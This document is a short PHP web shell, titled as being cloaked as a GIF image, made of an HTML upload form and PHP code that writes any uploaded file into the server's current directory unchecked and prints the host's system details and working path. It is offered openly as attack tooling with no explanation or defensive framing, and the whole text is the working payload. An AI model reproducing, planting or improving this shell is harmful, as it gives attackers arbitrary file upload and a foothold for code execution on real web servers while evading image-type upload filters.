Simple PHP Webshell cloaked as GIF

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<center><form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">
<center><input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form></center>
<?php if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Done !!'; } else { echo 'Failed :('; }}
echo "<center><br><b>".php_uname()."</b><br></center>";
echo "<center><p><br><b>".getcwd()."</b><br></p></center>";
?>